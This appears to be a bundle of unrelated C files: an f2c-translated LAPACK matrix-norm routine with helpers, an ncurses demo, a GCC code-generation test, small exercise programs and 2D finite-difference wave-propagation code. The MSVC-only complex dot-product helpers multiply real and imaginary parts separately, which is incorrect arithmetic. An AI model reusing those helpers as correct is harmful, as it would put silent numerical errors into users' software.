static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* Table of constant values */
static integer c__1 = 1;
/* > \brief \b ZLANTP returns the value of the 1-norm, or the Frobenius norm, or the infinity norm, or the ele
ment of largest absolute value of a triangular matrix supplied in packed form. */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download ZLANTP + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/zlantp.
f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/zlantp.
f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/zlantp.
f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* DOUBLE PRECISION FUNCTION ZLANTP( NORM, UPLO, DIAG, N, AP, WORK ) */
/* CHARACTER DIAG, NORM, UPLO */
/* INTEGER N */
/* DOUBLE PRECISION WORK( * ) */
/* COMPLEX*16 AP( * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > ZLANTP returns the value of the one norm, or the Frobenius norm, or */
/* > the infinity norm, or the element of largest absolute value of a */
/* > triangular matrix A, supplied in packed form. */
/* > \endverbatim */
/* > */
/* > \return ZLANTP */
/* > \verbatim */
/* > */
/* > ZLANTP = ( f2cmax(abs(A(i,j))), NORM = 'M' or 'm' */
/* > ( */
/* > ( norm1(A), NORM = '1', 'O' or 'o' */
/* > ( */
/* > ( normI(A), NORM = 'I' or 'i' */
/* > ( */
/* > ( normF(A), NORM = 'F', 'f', 'E' or 'e' */
/* > */
/* > where norm1 denotes the one norm of a matrix (maximum column sum), */
/* > normI denotes the infinity norm of a matrix (maximum row sum) and */
/* > normF denotes the Frobenius norm of a matrix (square root of sum of */
/* > squares). Note that f2cmax(abs(A(i,j))) is not a consistent matrix norm. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] NORM */
/* > \verbatim */
/* > NORM is CHARACTER*1 */
/* > Specifies the value to be returned in ZLANTP as described */
/* > above. */
/* > \endverbatim */
/* > */
/* > \param[in] UPLO */
/* > \verbatim */
/* > UPLO is CHARACTER*1 */
/* > Specifies whether the matrix A is upper or lower triangular. */
/* > = 'U': Upper triangular */
/* > = 'L': Lower triangular */
/* > \endverbatim */
/* > */
/* > \param[in] DIAG */
/* > \verbatim */
/* > DIAG is CHARACTER*1 */
/* > Specifies whether or not the matrix A is unit triangular. */
/* > = 'N': Non-unit triangular */
/* > = 'U': Unit triangular */
/* > \endverbatim */
/* > */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The order of the matrix A. N >= 0. When N = 0, ZLANTP is */
/* > set to zero. */
/* > \endverbatim */
/* > */
/* > \param[in] AP */
/* > \verbatim */
/* > AP is COMPLEX*16 array, dimension (N*(N+1)/2) */
/* > The upper or lower triangular matrix A, packed columnwise in */
/* > a linear array. The j-th column of A is stored in the array */
/* > AP as follows: */
/* > if UPLO = 'U', AP(i + (j-1)*j/2) = A(i,j) for 1<=i<=j; */
/* > if UPLO = 'L', AP(i + (j-1)*(2n-j)/2) = A(i,j) for j<=i<=n. */
/* > Note that when DIAG = 'U', the elements of the array AP */
/* > corresponding to the diagonal elements of the matrix A are */
/* > not referenced, but are assumed to be one. */
/* > \endverbatim */
/* > */
/* > \param[out] WORK */
/* > \verbatim */
/* > WORK is DOUBLE PRECISION array, dimension (MAX(1,LWORK)), */
/* > where LWORK >= N when NORM = 'I'; otherwise, WORK is not */
/* > referenced. */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date December 2016 */
/* > \ingroup complex16OTHERauxiliary */
/* ===================================================================== */
doublereal zlantp_(char *norm, char *uplo, char *diag, integer *n,
doublecomplex *ap, doublereal *work)
{
/* System generated locals */
integer i__1, i__2;
doublereal ret_val;
/* Local variables */
extern /* Subroutine */ int dcombssq_(doublereal *, doublereal *);
integer i__, j, k;
logical udiag;
extern logical lsame_(char *, char *);
doublereal value;
extern logical disnan_(doublereal *);
doublereal colssq[2];
extern /* Subroutine */ int zlassq_(integer *, doublecomplex *, integer *,
doublereal *, doublereal *);
doublereal sum, ssq[2];
/* -- LAPACK auxiliary routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* December 2016 */
/* ===================================================================== */
/* Parameter adjustments */
--work;
--ap;
/* Function Body */
if (*n == 0) {
value = 0.;
} else if (lsame_(norm, "M")) {
/* Find f2cmax(abs(A(i,j))). */
k = 1;
if (lsame_(diag, "U")) {
value = 1.;
if (lsame_(uplo, "U")) {
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
i__2 = k + j - 2;
for (i__ = k; i__ <= i__2; ++i__) {
sum = z_abs(&ap[i__]);
if (value < sum || disnan_(&sum)) {
value = sum;
}
/* L10: */
}
k += j;
/* L20: */
}
} else {
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
i__2 = k + *n - j;
for (i__ = k + 1; i__ <= i__2; ++i__) {
sum = z_abs(&ap[i__]);
if (value < sum || disnan_(&sum)) {
value = sum;
}
/* L30: */
}
k = k + *n - j + 1;
/* L40: */
}
}
} else {
value = 0.;
if (lsame_(uplo, "U")) {
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
i__2 = k + j - 1;
for (i__ = k; i__ <= i__2; ++i__) {
sum = z_abs(&ap[i__]);
if (value < sum || disnan_(&sum)) {
value = sum;
}
/* L50: */
}
k += j;
/* L60: */
}
} else {
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
i__2 = k + *n - j;
for (i__ = k; i__ <= i__2; ++i__) {
sum = z_abs(&ap[i__]);
if (value < sum || disnan_(&sum)) {
value = sum;
}
/* L70: */
}
k = k + *n - j + 1;
/* L80: */
}
}
}
} else if (lsame_(norm, "O") || *(unsigned char *)
norm == '1') {
/* Find norm1(A). */
value = 0.;
k = 1;
udiag = lsame_(diag, "U");
if (lsame_(uplo, "U")) {
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
if (udiag) {
sum = 1.;
i__2 = k + j - 2;
for (i__ = k; i__ <= i__2; ++i__) {
sum += z_abs(&ap[i__]);
/* L90: */
}
} else {
sum = 0.;
i__2 = k + j - 1;
for (i__ = k; i__ <= i__2; ++i__) {
sum += z_abs(&ap[i__]);
/* L100: */
}
}
k += j;
if (value < sum || disnan_(&sum)) {
value = sum;
}
/* L110: */
}
} else {
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
if (udiag) {
sum = 1.;
i__2 = k + *n - j;
for (i__ = k + 1; i__ <= i__2; ++i__) {
sum += z_abs(&ap[i__]);
/* L120: */
}
} else {
sum = 0.;
i__2 = k + *n - j;
for (i__ = k; i__ <= i__2; ++i__) {
sum += z_abs(&ap[i__]);
/* L130: */
}
}
k = k + *n - j + 1;
if (value < sum || disnan_(&sum)) {
value = sum;
}
/* L140: */
}
}
} else if (lsame_(norm, "I")) {
/* Find normI(A). */
k = 1;
if (lsame_(uplo, "U")) {
if (lsame_(diag, "U")) {
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
work[i__] = 1.;
/* L150: */
}
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
i__2 = j - 1;
for (i__ = 1; i__ <= i__2; ++i__) {
work[i__] += z_abs(&ap[k]);
++k;
/* L160: */
}
++k;
/* L170: */
}
} else {
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
work[i__] = 0.;
/* L180: */
}
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
i__2 = j;
for (i__ = 1; i__ <= i__2; ++i__) {
work[i__] += z_abs(&ap[k]);
++k;
/* L190: */
}
/* L200: */
}
}
} else {
if (lsame_(diag, "U")) {
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
work[i__] = 1.;
/* L210: */
}
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
++k;
i__2 = *n;
for (i__ = j + 1; i__ <= i__2; ++i__) {
work[i__] += z_abs(&ap[k]);
++k;
/* L220: */
}
/* L230: */
}
} else {
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
work[i__] = 0.;
/* L240: */
}
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
i__2 = *n;
for (i__ = j; i__ <= i__2; ++i__) {
work[i__] += z_abs(&ap[k]);
++k;
/* L250: */
}
/* L260: */
}
}
}
value = 0.;
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
sum = work[i__];
if (value < sum || disnan_(&sum)) {
value = sum;
}
/* L270: */
}
} else if (lsame_(norm, "F") || lsame_(norm, "E")) {
/* Find normF(A). */
/* SSQ(1) is scale */
/* SSQ(2) is sum-of-squares */
/* For better accuracy, sum each column separately. */
if (lsame_(uplo, "U")) {
if (lsame_(diag, "U")) {
ssq[0] = 1.;
ssq[1] = (doublereal) (*n);
k = 2;
i__1 = *n;
for (j = 2; j <= i__1; ++j) {
colssq[0] = 0.;
colssq[1] = 1.;
i__2 = j - 1;
zlassq_(&i__2, &ap[k], &c__1, colssq, &colssq[1]);
dcombssq_(ssq, colssq);
k += j;
/* L280: */
}
} else {
ssq[0] = 0.;
ssq[1] = 1.;
k = 1;
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
colssq[0] = 0.;
colssq[1] = 1.;
zlassq_(&j, &ap[k], &c__1, colssq, &colssq[1]);
dcombssq_(ssq, colssq);
k += j;
/* L290: */
}
}
} else {
if (lsame_(diag, "U")) {
ssq[0] = 1.;
ssq[1] = (doublereal) (*n);
k = 2;
i__1 = *n - 1;
for (j = 1; j <= i__1; ++j) {
colssq[0] = 0.;
colssq[1] = 1.;
i__2 = *n - j;
zlassq_(&i__2, &ap[k], &c__1, colssq, &colssq[1]);
dcombssq_(ssq, colssq);
k = k + *n - j + 1;
/* L300: */
}
} else {
ssq[0] = 0.;
ssq[1] = 1.;
k = 1;
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
colssq[0] = 0.;
colssq[1] = 1.;
i__2 = *n - j + 1;
zlassq_(&i__2, &ap[k], &c__1, colssq, &colssq[1]);
dcombssq_(ssq, colssq);
k = k + *n - j + 1;
/* L310: */
}
}
}
value = ssq[0] * sqrt(ssq[1]);
}
ret_val = value;
return ret_val;
/* End of ZLANTP */
} /* zlantp_ */
|
the_stack_data/86074586.c | #include <ncurses.h>
int main(void)
{
WINDOW *pad;
int a;
initscr();
pad = newpad(40,100);
if(pad == NULL)
{
endwin();
puts("Problem creating pad");
return(1);
}
for(a=0;a<4000;a++)
{
waddch(pad,'A' + (a % 26));
}
prefresh(pad,0,0,7,30,17,50);
getch();
endwin();
return 0;
}
|
the_stack_data/248581079.c | /* { dg-do compile } */
/* { dg-options "-O2" } */
int
test_csneg32_condasn1(int w0,
int w1,
int w2,
int w3) {
int w4;
/* { dg-final { scan-assembler "csneg\tw\[0-9\]*.*ne" } } */
w4 = (w0 == w1) ? -w3 : w2;
return w4;
}
int
test_csneg32_condasn2(int w0,
int w1,
int w2,
int w3) {
int w4;
/* { dg-final { scan-assembler "csneg\tw\[0-9\]*.*eq" } } */
w4 = (w0 == w1) ? w3 : -w2;
return w4;
}
long long
test_csneg64_condasn1(long long x0,
long long x1,
long long x2,
long long x3) {
long long x4;
/* { dg-final { scan-assembler "csneg\tx\[0-9\]*.*ne" } } */
x4 = (x0 == x1) ? -x3 : x2;
return x4;
}
long long
test_csneg64_condasn2(long long x0,
long long x1,
long long x2,
long long x3) {
long long x4;
/* { dg-final { scan-assembler "csneg\tx\[0-9\]*.*eq" } } */
x4 = (x0 == x1) ? x3 : -x2;
return x4;
}
int test_csneg_cmp(int x)
{
/* { dg-final { scan-assembler "csneg\tw\[0-9\]" } } */
if (x > 3)
x = -x;
return x;
}
unsigned long long
test_csneg_uxtw (unsigned int a,
unsigned int b,
unsigned int c)
{
/* { dg-final { scan-assembler "csneg\tw\[0-9\]*.*ne" } } */
/* { dg-final { scan-assembler-not "uxtw\tw\[0-9\]*.*" } } */
unsigned int val;
val = a ? b: -c;
return val;
}
|
the_stack_data/26706.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define CLOSED 0
#define OPENING 1
#define OPEN 2
#define CLOSING 3
#define STOPPED_WHILE_CLOSING 4
#define STOPPED_WHILE_OPENING 5
void printMsg(int);
int main()
{
char input[30];
int doorStatus = CLOSED;
printMsg(doorStatus);
while(scanf("%s", input) != EOF)
{
if(strcmp(input, "button_clicked") == 0)
{
switch(doorStatus)
{
case CLOSED:
{
doorStatus = OPENING;
printMsg(doorStatus);
}
break;
case OPENING:
{
doorStatus = STOPPED_WHILE_OPENING;
printMsg(doorStatus);
}
break;
case OPEN:
{
doorStatus = CLOSING;
printMsg(doorStatus);
}
break;
case CLOSING:
{
doorStatus = STOPPED_WHILE_CLOSING;
printMsg(doorStatus);
}
break;
case STOPPED_WHILE_CLOSING:
{
doorStatus = OPENING;
printMsg(doorStatus);
}
break;
case STOPPED_WHILE_OPENING:
{
doorStatus = CLOSING;
printMsg(doorStatus);
}
break;
}
}
else if(strcmp(input, "cycle_complete") == 0)
{
switch(doorStatus)
{
case OPENING:
{
doorStatus = OPEN;
printMsg(doorStatus);
}
break;
case CLOSING:
{
doorStatus = CLOSED;
printMsg(doorStatus);
}
break;
}
}
}
return 0;
}
void printMsg(int status)
{
printf("Door: ");
switch(status)
{
case CLOSED:
{
printf("CLOSED\n");
}
break;
case OPENING:
{
printf("OPENING\n");
}
break;
case OPEN:
{
printf("OPEN\n");
}
break;
case CLOSING:
{
printf("CLOSING\n");
}
break;
case STOPPED_WHILE_CLOSING:
{
printf("STOPPED_WHILE_CLOSING\n");
}
break;
case STOPPED_WHILE_OPENING:
{
printf("STOPPED_WHILE_OPENING\n");
}
break;
}
}
|
the_stack_data/266318.c | # include<stdio.h>
int main()
{
int init,bet,final;
int mul1,mul2,mul3;
int count;
int diff;
while(1)
{
count=0;
scanf("%d%d%d",&init,&bet,&final);
if(init==0 && bet==0 && final==0)
break;
if(init>final)
{
init=init+final;
final=init-final;
init=init-final;
}
mul1=bet;
mul2=bet*2;
mul3=bet*3;
diff=final-init;
count += diff/mul3;
diff %= mul3;
count += diff/mul2;
diff %= mul2;
count += diff/mul1;
diff %= mul1;
if(diff==0)
printf("%d\n",count);
else
printf("No accounting tablet\n");
}
return 0;
} |
the_stack_data/1150166.c | #include<stdio.h>
//********************************************//
//** bound and body are two functions that **//
//** are used in CPU parallel **//
//** bound : PML boundary part **//
//** body : real medium part **//
//********************************************//
double fd2d(double *in_wf, int idx0_in_wf, int idx1_in_wf, int idx2_in_wf, int idx3_in_wf, double *fdc)
{
double tmp;
tmp = *(in_wf+idx0_in_wf)* *(fdc+0) + *(in_wf+idx1_in_wf)* *(fdc+1) + *(in_wf+idx2_in_wf)* *(fdc+2) + *(in_wf+idx3_in_wf)* *(fdc+3);
return tmp;
}
double body_x_2d(double *out_wf, int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_j_in_start, double para, double dx,
double dt, double *fdc)
{
double tmp;
int idx_out_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf;
idx_out_wf = idx_i_out + idx_j_out * BD_nz_out;
idx0_in_wf = idx_i_out + (idx_j_out - idx_j_in_start) * BD_nz_in;
idx1_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 1) * BD_nz_in;
idx2_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 2) * BD_nz_in;
idx3_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 3) * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp = tmp / dx * para * dt;
*(out_wf+idx_out_wf) = *(out_wf+idx_out_wf) + tmp;
return tmp;
}
double body_z_2d(double *out_wf, int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_i_in_start, double para, double dz,
double dt, double *fdc)
{
double tmp;
int idx_out_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf;
idx_out_wf = idx_i_out + idx_j_out * BD_nz_out;
idx0_in_wf = (idx_i_out - idx_i_in_start) + idx_j_out * BD_nz_in;
idx1_in_wf = (idx_i_out - idx_i_in_start + 1) + idx_j_out * BD_nz_in;
idx2_in_wf = (idx_i_out - idx_i_in_start + 2) + idx_j_out * BD_nz_in;
idx3_in_wf = (idx_i_out - idx_i_in_start + 3) + idx_j_out * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp = para * tmp / dz * dt;
*(out_wf+idx_out_wf) = *(out_wf+idx_out_wf) + tmp ;
return tmp;
}
void bound_x_2d(double *out_wf, int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_j_in_start,
double para_head, double para_toe, double dx,
double dt,
double *BDwf, double *BDcoeff_b, double *BDcoeff_a, int ext,
double *fdc)
{
int idx_BDcoeff = idx_j_out;
double tmp_head, tmp_toe;
int idx_out_wf_head, idx_out_wf_toe, idx_BDwf_head, idx_BDwf_toe;
tmp_head = body_x_2d(out_wf, BD_nz_out, BD_nx_out,
idx_i_out, idx_j_out,
in_wf, BD_nz_in, BD_nx_in, idx_j_in_start, para_head, dx, dt, fdc);
idx_out_wf_head = idx_i_out + idx_j_out * BD_nz_out;
idx_BDwf_head = idx_i_out + idx_j_out * BD_nz_out;
*(BDwf+idx_BDwf_head) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf+idx_BDwf_head) + *(BDcoeff_a+idx_BDcoeff) * tmp_head;
*(out_wf+idx_out_wf_head) = *(out_wf+idx_out_wf_head) + *(BDwf+idx_BDwf_head);
tmp_toe = body_x_2d(out_wf, BD_nz_out, BD_nx_out,
idx_i_out, BD_nx_out - idx_j_out - 1,
in_wf, BD_nz_in, BD_nx_in, idx_j_in_start, para_toe, dx, dt, fdc);
idx_out_wf_toe = idx_i_out + (BD_nx_out - 1 - idx_j_out) * BD_nz_out;
idx_BDwf_toe = idx_i_out + (2 * ext - 1 - idx_j_out) * BD_nz_out;
*(BDwf+idx_BDwf_toe) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf+idx_BDwf_toe) + *(BDcoeff_a+idx_BDcoeff) * tmp_toe;
*(out_wf+idx_out_wf_toe) = *(out_wf+idx_out_wf_toe) + *(BDwf+idx_BDwf_toe);
}
void unlimited_bound_z_2d(double *out_wf, int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_i_in_start,
double para_head, double para_toe, double dz,
double dt,
double *BDwf, double *BDcoeff_b, double *BDcoeff_a, int ext,
double *fdc)
{
int idx_BDcoeff = idx_i_out;
double tmp_head, tmp_toe;
int idx_out_wf_head, idx_out_wf_toe, idx_BDwf_head, idx_BDwf_toe;
tmp_head = body_z_2d(out_wf, BD_nz_out, BD_nx_out,
idx_i_out, idx_j_out,
in_wf, BD_nz_in, BD_nx_in, idx_i_in_start, para_head, dz, dt, fdc);
idx_out_wf_head = idx_i_out + idx_j_out * BD_nz_out;
idx_BDwf_head = idx_i_out + idx_j_out * 2 * ext;
*(BDwf+idx_BDwf_head) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf+idx_BDwf_head) + *(BDcoeff_a+idx_BDcoeff) * tmp_head ;
*(out_wf+idx_out_wf_head) = *(out_wf+idx_out_wf_head) + *(BDwf+idx_BDwf_head);
tmp_toe = body_z_2d(out_wf, BD_nz_out, BD_nx_out,
BD_nz_out - idx_i_out - 1, idx_j_out,
in_wf, BD_nz_in, BD_nx_in, idx_i_in_start, para_toe, dz, dt, fdc);
idx_out_wf_toe = (BD_nz_out - 1 - idx_i_out) + idx_j_out * BD_nz_out;
idx_BDwf_toe = (2 * ext - 1 - idx_i_out) + idx_j_out * 2 * ext;
*(BDwf+idx_BDwf_toe) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf+idx_BDwf_toe) + *(BDcoeff_a+idx_BDcoeff) * tmp_toe;
*(out_wf+idx_out_wf_toe) = *(out_wf+idx_out_wf_toe) + *(BDwf+idx_BDwf_toe);
}
void free_bound_z_2d(double *out_wf, int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_i_in_start, double para_toe, double dz,
double dt,
double *BDwf, double *BDcoeff_b, double *BDcoeff_a, int ext,
double *fdc)
{
int idx_BDcoeff = idx_i_out;
double tmp_toe;
int idx_out_wf_toe, idx_BDwf_toe;
tmp_toe = body_z_2d(out_wf, BD_nz_out, BD_nx_out,
BD_nz_out - idx_i_out - 1, idx_j_out,
in_wf, BD_nz_in, BD_nx_in, idx_i_in_start, para_toe, dz, dt, fdc);
idx_out_wf_toe = (BD_nz_out - 1 - idx_i_out) + idx_j_out * BD_nz_out;
idx_BDwf_toe = (ext - 1 - idx_i_out) + idx_j_out * ext;
*(BDwf+idx_BDwf_toe) = *(BDcoeff_b+idx_BDcoeff)* *(BDwf+idx_BDwf_toe) + *(BDcoeff_a+idx_BDcoeff) * tmp_toe;
*(out_wf+idx_out_wf_toe) = *(out_wf+idx_out_wf_toe) + *(BDwf+idx_BDwf_toe);
}
//********************************************//
void el_body_tpp_x_2d(double *out_txx, double *out_tzz,
int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_j_in_start, double *lambda, double *mu,
double dx, double dt, double *fdc)
{
double tmp, tmp_txx, tmp_tzz;
int idx_out_tpp, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf;
idx_out_tpp = idx_i_out + idx_j_out * BD_nz_out;
idx0_in_wf = idx_i_out + (idx_j_out - idx_j_in_start) * BD_nz_in;
idx1_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 1) * BD_nz_in;
idx2_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 2) * BD_nz_in;
idx3_in_wf = idx_i_out + (idx_j_out - idx_j_in_start + 3) * BD_nz_in;
tmp = fd2d(in_wf, idx0_in_wf, idx1_in_wf, idx2_in_wf, idx3_in_wf, fdc);
tmp_txx = tmp / dx * (*(lambda+idx_out_tpp) + 2**(mu+idx_out_tpp)) * dt;
tmp_tzz = tmp / dx * *(lambda+idx_out_tpp) * dt;
*(out_txx+idx_out_tpp) = *(out_txx+idx_out_tpp) + tmp_txx;
*(out_tzz+idx_out_tpp) = *(out_tzz+idx_out_tpp) + tmp_tzz;
}
void el_body_tpp_z_2d(double *out_txx, double *out_tzz,
int BD_nz_out, int BD_nx_out,
int idx_i_out, int idx_j_out,
double *in_wf, int BD_nz_in, int BD_nx_in,
int idx_i_in_start, double *lambda, double *mu,
double dz, double dt, double *fdc)
{
double tmp, tmp_txx, tmp_tzz;
